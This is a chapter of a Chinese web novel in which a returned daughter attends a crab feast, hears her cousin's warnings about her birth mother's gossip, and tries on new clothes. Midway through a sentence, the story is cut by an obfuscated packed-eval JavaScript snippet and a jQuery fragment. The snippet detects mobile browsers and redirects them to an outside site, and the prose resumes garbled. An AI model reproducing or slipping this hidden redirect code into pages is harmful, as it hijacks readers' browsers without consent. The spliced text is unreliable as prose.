22. 第 22 章
作品:《真千金替嫁守寡日常》 昨天季觉卿计划的很好,今天回固安侯府给那两个拦路的家伙找事。
可一场暴雨打破的她的计划。
昨天的晚霞那么好,只顾看风景了,忘了考虑天气了。
给纪念微书房来一场噼里啪啦的烟花秀的想法现在是实现不了了,等下次有时间吧。
她对这些事很看的开的。
八月正是不冷不热的时节,再加上下雨,气候更是宜人。
“螃蟹该肥了,今天吃蟹吧,我让你们姐夫送来。卿宝让人给你温一盅黄酒配着些。”戚昭看着窗外的瓢泼大雨,实在不想去门与沾染水汽,决定让她男人来干活。
纪念康翻了个白眼,揉了揉宿醉还有些痛的头,“姐,有一说一,螃蟹才是搭头吧,你一晚上没回去,我姐夫肯定一会就到。”
戚昭气虚的转移话题:“看你那个怂样,酒没我喝的多,反应比我还大。你以后要从军,怎么跟军营里的那些酒蒙子喝。”
“姐,军规说了,军营禁酒。”
“你是傻子还是呆子,上有政策下有对策没听过啊。”
……
戚漠不是个话多的性子,季觉卿则是插不上话。
两人就再一旁吃着茶点看她们斗嘴。
不多时,两人便口干舌燥,长公主夺过季觉卿的杯子咕咚咕咚喝水。
纪念康不敢抢戚漠的杯子,只能眼巴巴看着霸占茶壶的长公主,等她喝够。
这时,一个身形壮硕的壮汉推门进来,声音粗犷的喊:“昭昭,我已经命人去吩咐厨下做蟹,一会儿就好。”
看到屋里的场景,壮汉接过长公主手中的茶壶递给纪念康:“又在欺负小二。”
戚昭一见来人瞬间笑靥如花,小鸟依人的依偎在壮汉怀中:“来,卿宝,我给你介绍一下,这是你姐夫臧恪,叫姐夫就行。”
季觉卿看着黏在一起的二人,叫了一声“姐夫好。”
臧恪脸上带着憨厚的笑:“姐夫没啥好东西,送你匹马,你喜欢什么颜色的。”
纪念康一听不服了,开始撒泼打滚:“姐夫,不行,我也要,我可还没有一匹属于我自己的马嘞,全蹭我漠哥的。”
臧恪憨厚的摸头:“都有,都有,等雨停了,我带你们去马场转转,看中的都记我账上。”
季觉卿刚想拒绝,被长公主申手指摁住嘴巴:“小丫头从哪学的推拒习惯,给你的你就收着,大大方方道谢。你要不解释就是不认你这个姐夫,我可要生气了。”
话说到这份上,季觉卿怎么都不可能再拒绝。
她从小是她老爹和爷爷两个男人养大的,可能是他们家风水有问题,家里女性都死的早。
而她小时候偏偏是人贩子最猖狂的时侯,只她家附近丢了的孩子不下六个,给俩老头整应激了,生怕她出点啥事。
所以她老爹和爷爷就教她别人给的东西别收,想要回来他们给买——反正家里不差钱。
后面也就养成了这个习惯,对于别人给的东西,她的第一反应是拒绝,喜欢的要个地址或者链接,自己下单。
对于这种纯粹的善意接收,她最多的是儿时过年收红包,可随着年龄的增长,也早早就消失不见了。
“那我就恭敬不如从命了。”
风渐轻,雨渐收,螃蟹也好了。
其他人都是富家子弟,上了工具将螃蟹拆出来,吃完后的空壳摆回去还能拼出一个螃蟹。
可季觉卿不会啊,作为一个北方孩子,还是两个糙汉子养大的孩子,她小时常吃的是下酒的小河蟹,后来更是大只的帝王蟹或者松叶蟹。
如今面对这蟹有些束手无策——总不能真不顾形象的上嘴啃吧,这也太丢脸了。
戚漠在一旁默默剃好一只蟹,将乘着蟹黄蟹腿的小碗放到季觉卿眼前:“吃吧,只能吃一只。”
纪念康看着验枪的两人感觉那里不对劲,但又感觉不出来,索性不管,自顾自的疯狂进食——他向来爱吃蟹,可每年只有这段时间的最好吃了。
季觉卿给纪念康倒了一盅温热的黄酒,生怕螃蟹太寒伤了他的肠胃:“三哥,中秋不论如何我都得回固安侯府,你千万别因我和他们起了争执让叔父婶母为难。”
纪念康:“他们最近不敢找事儿的,皇后殿下每年中秋都会下旨让他们去参加宫宴,你今年刚回府,殿下说不定会好奇要面见你,若你出点事儿,他们不好跟殿下交代。”
“昨日让你回去估计也是要说一堆没用的废话,他们说的千万别往脑子里记,尤其是伯母说的话,你就当是一阵风,吹过就算。”
纪念康至今都记得小时候在侯府玩,偷听到固安侯夫人将两个儿子当狗训,谁能哄纪道琴笑,谁就能得到她的摸头。
后来他发现那两个傻/雕从一开始奉承话不断到给纪道琴当狗,纪道琴要山间晨露,两人都起早去收集,只为哄纪道琴一笑。从山上跌落险些丧命都毫无怨言。
还为了抢长公主的猫给纪道琴,出馊主意做伪证说是戚昭推纪道琴落水。
即使他作证说是纪道琴自己落水,只是为了那只鸳鸯眼猫,皇后也没惩罚他们,还真把那只猫给了纪道琴。
种种事迹数不胜数,让他叹为观止。
夸张点说,纪道琴说太阳从西边升起,那俩人都能闭眼说她说的对,说她学识渊博、见多识广。
而他伯母对此乐见其成,他伯父属于妻管严,也不敢下手管,生怕他伯母哭哭啼啼。
季觉卿虽然也只是打算让固安侯府那一群家伙的话从她光滑的大脑皮层划过,但三哥的关心她还是收下了。
……
云销雨霁,酒酣宴散。
众人各回各家,季觉卿也要跟着纪念康回去了。
马车上,她从包里翻出一沓子笔记:“哥,你要考武举我帮不上什么忙。这是我曾经在山中遇到一位游历山川的老先生,他教我的东西。希望你能用的上。”
纪念康赶紧收下,用不用得上另说,反正不能打击他妹的积极性,呼噜一下她的头:“乖崽,要不你别回去了,让昭姐带你进宫吧,你跟着她就不用回去听那些闲话了。”
“哥,我总要自己去面对这些的。你也说了,那是我的亲生父母,不说其他,只婚嫁一事便被他们捏在手上,我越了解她们便有越多的筹码,也就能更自主不受约束。”
纪念康叹气:“哎,我就是担心这事,你是不知道,这几天伯母参加好多了宴会,到处散播你刁蛮任性、不知礼仪的消息,还说要给你找个小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050585|193320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
户人家子弟,说什么怕你被人欺负,小户人家有侯府撑腰你日子能好过。”
“好过个大头鬼,这世间女子最自在的日子就是在娘家的日子,看看昭姐现在多快活,你还小呢,可千万别着急嫁人,等哥以后带你到处玩。”
季觉卿没想到这封建的古代社会居然还有纪念康这种人的存在,瞪大眼睛,竖起大拇指:“哥,你这想法太赞了,我以后的嫂子肯定享福。”
纪念康一提起婚姻红了脸,弹了季觉卿一个脑瓜崩:“你这丫头说什么呢。我妹妹在娘家才多享福,我未来的夫人也会在娘家才能享受更多自在日子。”
回到纪府,白氏立马将人叫了过去。
过了中秋,日子就一天天冷了,她让人给季觉卿准备了新衣,虽然赵嬷嬷给了她季觉卿的尺寸,但衣服还是要上身才能试出到底是否合适。
若不合适这几天才能让人抓紧时间改改。
一进屋,季觉卿就被人团团围住。
“快,卿丫头,去试试这些衣服合不合身。”
季觉卿这段时间长高不少,趁着这次试衣服,还让裁缝娘子给她量了一下,接近七尺,换算一下大概是一米六。
她感觉自己还能长,虽然不是一具身体,但前世她有一米七,是一个让她非常满意的高度。
换了衣服出来,白氏看着短了一小截的八破裙道:“还好存了放量,让人放一些出来,不影响日常穿,再去换一件,给婶母看看。”
白氏像在玩什么换装小游戏,眼睛都是亮晶晶的。
一连换了十几套衣服,季觉卿感觉自己跑一千米都没这么累。
白氏看着气喘吁吁的季觉卿,才意犹未尽的让人将衣服送到季觉卿住的客院。
“快过来歇歇,都怪婶母。你三哥和小春儿都是爱打扮自己的,向来不喜欢我给他们挑的样式。”
季觉卿知道白氏是好意,宽慰她:“婶母是疼我才为我做衣裳,旁人谁管我。”
也是当初她刚回来固安侯夫人就让人给她做衣裳才让她觉得这算是个还不错的母亲。
季觉卿:“我看还有几件骑马装,我每日要去书院,没什么时间去学的。”
白氏看着仰着小脸的季觉卿,只觉得可怜可爱,她的两个孩子都是活泼性子,有时闹腾的她头疼:“你三哥没和你说嘛,这小子脑子里都没正事。女子书院栾诚级以上级部要放长假了,近日中秋、万寿节、千秋节这些活动多,若是不放假,书院中学子必然缺席者众多,因此江院长便将这段时间固定放假。”
“可我是蒙息级的呀。”
白氏勾手轻碰季觉卿的鼻尖:“没事,我和你们江院长是手帕交,特意向她请了长假,我问过你的先生们了,她们对可是赞不绝口呢。”
“那我明儿得去书院拿回来书,先生们让我在藏书阁做工学习,我得和一同的学长们说一声,看能不能替工,别误了藏书阁的事儿。”
“好,劳烦了人家,银两酬谢虽重要,但到底粗俗了些。你们有同窗之谊,要记得带些家中的吃食和笔墨纸砚,这才是文人间交际的道理。”
季觉卿乖乖点头。
第二天早早去了书院给一同管理藏书阁的廪生学长说明了情况,请她代工才回来。

